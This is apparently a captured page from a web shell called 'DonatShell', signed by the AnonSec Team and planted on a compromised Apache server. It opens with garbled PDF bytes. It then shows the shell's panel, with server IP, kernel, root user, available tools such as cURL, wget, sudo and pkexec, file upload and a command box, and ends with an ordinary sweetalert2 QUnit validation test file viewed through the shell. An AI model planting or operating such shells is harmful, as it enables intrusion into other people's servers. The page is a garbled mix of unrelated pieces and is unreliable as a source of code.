%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ppaobm/vendor/bower-asset/sweetalert2/test/qunit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/ppaobm/vendor/bower-asset/sweetalert2/test/qunit//validation.js
const { Swal, isVisible, TIMEOUT } = require('./helpers')
const { detect } = require('detect-browser')
import defaultInputValidators from '../../src/utils/defaultInputValidators'

const browser = detect()

if (browser.name === 'chrome' && browser.version === '30.0.0') {
  // skip test
  // .checkValidity on Android 4.4 (Chrome Mobile 30) always returns true
  // https://www.quirksmode.org/dom/forms/mobile.html#t30
} else {
  QUnit.test('input.checkValidity()', (assert) => {
    const done = assert.async()

    Swal({
      input: 'tel',
      inputAttributes: {
        pattern: '[0-9]{3}-[0-9]{3}-[0-9]{4}'
      },
      validationMessage: 'Invalid phone number'
    }).then(result => {
      assert.equal(result.value, '123-456-7890')
      done()
    })

    Swal.getInput().value = 'blah-blah'
    Swal.clickConfirm()
    setTimeout(() => {
      assert.ok(isVisible(Swal.getValidationMessage()))
      assert.equal(Swal.getValidationMessage().textContent, 'Invalid phone number')

      Swal.getInput().value = '123-456-7890'
      Swal.clickConfirm()
    }, TIMEOUT)
  })
}

QUnit.test('default URL validator', (assert) => {
  const done = assert.async(3)

  defaultInputValidators.url('https://google.com').then(() => {
    done()
  })

  defaultInputValidators.url('http://foo.localhost/').then(() => {
    done()
  })

  defaultInputValidators.url('invalid url').catch(data => {
    assert.equal(data, 'Invalid URL')
    done()
  })
})

Anon7 - 2022
AnonSec Team